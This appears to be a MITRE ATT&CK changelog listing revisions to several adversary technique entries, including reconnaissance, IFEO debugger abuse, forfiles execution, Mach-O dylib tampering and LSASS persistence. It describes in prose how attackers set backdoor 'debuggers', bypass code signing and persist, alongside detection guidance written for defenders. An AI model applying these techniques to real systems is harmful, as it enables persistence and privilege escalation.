| description | Before compromising a victim, adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) | Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about identities and role |
| > | tion about identities and roles within the victim organizati | > | s within the victim organization that can be used during tar | ||
| > | on that can be used during targeting. Information about busi | > | geting. Information about business roles may reveal a variet | ||
| > | ness roles may reveal a variety of targetable details, inclu | > | y of targetable details, including identifiable information | ||
| > | ding identifiable information for key personnel as well as w | > | for key personnel as well as what data/resources they have a | ||
| > | hat data/resources they have access to. Adversaries may gat | > | ccess to. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about business roles may als | > | n about business roles may also be exposed to adversaries vi | ||
| > | o be exposed to adversaries via online or other accessible d | > | a online or other accessible data sets (ex: [Social Media](h | ||
| > | ata sets (ex: [Social Media](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593/001) or [Search Vic | ||
| > | ques/T1593/001) or [Search Victim-Owned Websites](https://at | > | tim-Owned Websites](https://attack.mitre.org/techniques/T159 | ||
| > | tack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broa | > | 4)).(Citation: ThreatPost Broadvoice Leak) Gathering this in | ||
| > | dvoice Leak) Gathering this information may reveal opportuni | > | formation may reveal opportunities for other forms of reconn | ||
| > | ties for other forms of reconnaissance (ex: [Phishing for In | > | aissance (ex: [Phishing for Information](https://attack.mitr | ||
| > | formation](https://attack.mitre.org/techniques/T1598) or [Se | > | e.org/techniques/T1598) or [Search Open Websites/Domains](ht | ||
| > | arch Open Websites/Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1593)), establishing oper | ||
| > | ues/T1593)), establishing operational resources (ex: [Establ | > | ational resources (ex: [Establish Accounts](https://attack.m | ||
| > | ish Accounts](https://attack.mitre.org/techniques/T1585) or | > | itre.org/techniques/T1585) or [Compromise Accounts](https:// | ||
| > | [Compromise Accounts](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1586)), and/or initial access ( | ||
| > | 586)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.279000+00:00 | 2021-04-15 03:39:08.904000+00:00 |
| description | Before compromising a victim, adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by Image File E | > | ges by executing malicious content triggered by Image File E | ||
| > | xecution Options (IFEO) debuggers. IFEOs enable a developer | > | xecution Options (IFEO) debuggers. IFEOs enable a developer | ||
| > | to attach a debugger to an application. When a process is cr | > | to attach a debugger to an application. When a process is cr | ||
| > | eated, a debugger present in an application’s IFEO will be p | > | eated, a debugger present in an application’s IFEO will be p | ||
| > | repended to the application’s name, effectively launching th | > | repended to the application’s name, effectively launching th | ||
| > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | ||
| > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | ||
| > | O Mar 2010) IFEOs can be set directly via the Registry or i | > | O Mar 2010) IFEOs can be set directly via the Registry or i | ||
| > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | ||
| > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | ||
| > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | ||
| > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | ||
| > | Options\<executable></code> where <code><executable>< | > | Options\<executable></code> where <code><executable>< | ||
| > | /code> is the binary on which the debugger is attached. (Cit | > | /code> is the binary on which the debugger is attached. (Cit | ||
| > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | ||
| > | ble an arbitrary monitor program to be launched when a speci | > | ble an arbitrary monitor program to be launched when a speci | ||
| > | fied program silently exits (i.e. is prematurely terminated | > | fied program silently exits (i.e. is prematurely terminated | ||
| > | by itself or a second, non kernel-mode process). (Citation: | > | by itself or a second, non kernel-mode process). (Citation: | ||
| > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | ||
| > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | ||
| > | g can be enabled through GFlags and/or by directly modifying | > | g can be enabled through GFlags and/or by directly modifying | ||
| > | IFEO and silent process exit Registry values in <code>HKEY_ | > | IFEO and silent process exit Registry values in <code>HKEY_ | ||
| > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | ||
| > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | ||
| > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | ||
| > | ar to [Accessibility Features](https://attack.mitre.org/tech | > | ar to [Accessibility Features](https://attack.mitre.org/tech | ||
| > | niques/T1546/008), on Windows Vista and later as well as Win | > | niques/T1546/008), on Windows Vista and later as well as Win | ||
| > | dows Server 2008 and later, a Registry key may be modified t | > | dows Server 2008 and later, a Registry key may be modified t | ||
| > | hat configures "cmd.exe," or another program that provides b | > | hat configures "cmd.exe," or another program that provides b | ||
| > | ackdoor access, as a "debugger" for an accessibility program | > | ackdoor access, as a "debugger" for an accessibility program | ||
| > | (ex: utilman.exe). After the Registry is modified, pressing | > | (ex: utilman.exe). After the Registry is modified, pressing | ||
| > | the appropriate key combination at the login screen while a | > | the appropriate key combination at the login screen while a | ||
| > | t the keyboard or when connected with [Remote Desktop Protoc | > | t the keyboard or when connected with [Remote Desktop Protoc | ||
| > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | ||
| > | e the "debugger" program to be executed with SYSTEM privileg | > | e the "debugger" program to be executed with SYSTEM privileg | ||
| > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | ||
| > | (https://attack.mitre.org/techniques/T1055), these values ma | > | (https://attack.mitre.org/techniques/T1055), these values ma | ||
| > | y also be abused to obtain privilege escalation by causing a | > | y also be abused to obtain privilege escalation by causing a | ||
| > | malicious executable to be loaded and run in the context of | > | malicious executable to be loaded and run in the context of | ||
| > | separate processes on the computer. (Citation: Endgame Proc | > | separate processes on the computer. (Citation: Elastic Proc | ||
| > | ess Injection July 2017) Installing IFEO mechanisms may also | > | ess Injection July 2017) Installing IFEO mechanisms may also | ||
| > | provide Persistence via continuous triggered invocation. M | > | provide Persistence via continuous triggered invocation. M | ||
| > | alware may also use IFEO to [Impair Defenses](https://attack | > | alware may also use IFEO to [Impair Defenses](https://attack | ||
| > | .mitre.org/techniques/T1562) by registering invalid debugger | > | .mitre.org/techniques/T1562) by registering invalid debugger | ||
| > | s that redirect and effectively disable various system and s | > | s that redirect and effectively disable various system and s | ||
| > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | ||
| > | Symantec Ushedix June 2008) | > | Symantec Ushedix June 2008) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:18:08.480000+00:00 | 2020-11-10 18:29:31.112000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) |
| external_references[6]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[2] | Windows Registry | Process: Process Creation |
| x_mitre_detection | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:43:42.450000+00:00 | 2021-01-13 15:56:04.897000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Sensor health and status | Command: Command Execution |
| x_mitre_defense_bypassed[0] | Host intrusion prevention systems | Anti-virus |
| x_mitre_defense_bypassed[1] | Anti-virus | Host intrusion prevention systems |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Anti-virus |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:09:22.559000+00:00 | 2022-05-05 05:06:38.938000+00:00 |
| external_references[1]['source_name'] | VectorSec ForFiles Aug 2017 | Evi1cg Forfiles Nov 2017 |
| external_references[1]['description'] | vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018. | Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018. |
| external_references[1]['url'] | https://twitter.com/vector_sec/status/896049052642533376 | https://twitter.com/Evi1cg/status/935027922397573120 |
| external_references[2]['source_name'] | Evi1cg Forfiles Nov 2017 | RSA Forfiles Aug 2017 |
| external_references[2]['description'] | Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018. | Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018. |
| external_references[2]['url'] | https://twitter.com/Evi1cg/status/935027922397573120 | https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe |
| external_references[3]['source_name'] | RSA Forfiles Aug 2017 | VectorSec ForFiles Aug 2017 |
| external_references[3]['description'] | Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018. | vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018. |
| external_references[3]['url'] | https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe | https://twitter.com/vector_sec/status/896049052642533376 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_defense_bypassed[1] | Application control | Application Control |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_defense_bypassed | Application control by file name or path |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:31:35.760000+00:00 | 2022-03-08 21:05:20.658000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Metadata |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Creation |
| x_mitre_data_sources[2] | User interface | File: File Modification |
| x_mitre_data_sources[3] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[5] | PowerShell logs | Driver: Driver Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Kernel drivers | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by the execution of tainted binaries. Mac | > | content triggered by the execution of tainted binaries. Mac | ||
| > | h-O binaries have a series of headers that are used to perfo | > | h-O binaries have a series of headers that are used to perfo | ||
| > | rm certain operations when a binary is loaded. The LC_LOAD_D | > | rm certain operations when a binary is loaded. The LC_LOAD_D | ||
| > | YLIB header in a Mach-O binary tells macOS and OS X which dy | > | YLIB header in a Mach-O binary tells macOS and OS X which dy | ||
| > | namic libraries (dylibs) to load during execution time. Thes | > | namic libraries (dylibs) to load during execution time. Thes | ||
| > | e can be added ad-hoc to the compiled binary as long as adju | > | e can be added ad-hoc to the compiled binary as long as adju | ||
| > | stments are made to the rest of the fields and dependencies. | > | stments are made to the rest of the fields and dependencies. | ||
| > | (Citation: Writing Bad Malware for OSX) There are tools ava | > | (Citation: Writing Bad Malware for OSX) There are tools avai | ||
| > | ilable to perform these changes. Adversaries may modify Mac | > | lable to perform these changes. Adversaries may modify Mach | ||
| > | h-O binary headers to load and execute malicious dylibs ever | > | -O binary headers to load and execute malicious dylibs every | ||
| > | y time the binary is executed. Although any changes will inv | > | time the binary is executed. Although any changes will inva | ||
| > | alidate digital signatures on binaries because the binary is | > | lidate digital signatures on binaries because the binary is | ||
| > | being modified, this can be remediated by simply removing t | > | being modified, this can be remediated by simply removing th | ||
| > | he LC_CODE_SIGNATURE command from the binary so that the sig | > | e LC_CODE_SIGNATURE command from the binary so that the sign | ||
| > | nature isn’t checked at load time. (Citation: Malware Persis | > | ature isn’t checked at load time.(Citation: Malware Persiste | ||
| > | tence on OS X) | > | nce on OS X) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:50:36.235000+00:00 | 2022-04-20 17:08:21.101000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X) | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) |
| external_references[1]['source_name'] | Writing Bad Malware for OSX | Malware Persistence on OS X |
| external_references[1]['description'] | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. |
| external_references[1]['url'] | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[2]['source_name'] | Malware Persistence on OS X | Writing Bad Malware for OSX |
| external_references[2]['description'] | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
| x_mitre_data_sources[0] | File monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:35:42.440000+00:00 | 2021-04-21 21:12:38.361000+00:00 |
| external_references[4]['url'] | ttps://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets | https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets |
| x_mitre_data_sources[0] | Process monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[1] | PowerShell logs | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify or add LSASS drivers to obtain persis | t | 1 | Adversaries may modify or add LSASS drivers to obtain persis |
| > | tence on compromised systems. The Windows security subsystem | > | tence on compromised systems. The Windows security subsystem | ||
| > | is a set of components that manage and enforce the security | > | is a set of components that manage and enforce the security | ||
| > | policy for a computer or domain. The Local Security Authori | > | policy for a computer or domain. The Local Security Authori | ||
| > | ty (LSA) is the main component responsible for local securit | > | ty (LSA) is the main component responsible for local securit | ||
| > | y policy and user authentication. The LSA includes multiple | > | y policy and user authentication. The LSA includes multiple | ||
| > | dynamic link libraries (DLLs) associated with various other | > | dynamic link libraries (DLLs) associated with various other | ||
| > | security functions, all of which run in the context of the L | > | security functions, all of which run in the context of the L | ||
| > | SA Subsystem Service (LSASS) lsass.exe process. (Citation: M | > | SA Subsystem Service (LSASS) lsass.exe process.(Citation: Mi | ||
| > | icrosoft Security Subsystem) Adversaries may target LSASS d | > | crosoft Security Subsystem) Adversaries may target LSASS dr | ||
| > | rivers to obtain persistence. By either replacing or adding | > | ivers to obtain persistence. By either replacing or adding i | ||
| > | illegitimate drivers (e.g., [Hijack Execution Flow](https:// | > | llegitimate drivers (e.g., [Hijack Execution Flow](https://a | ||
| > | attack.mitre.org/techniques/T1574)), an adversary can use LS | > | ttack.mitre.org/techniques/T1574)), an adversary can use LSA | ||
| > | A operations to continuously execute malicious payloads. | > | operations to continuously execute malicious payloads. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
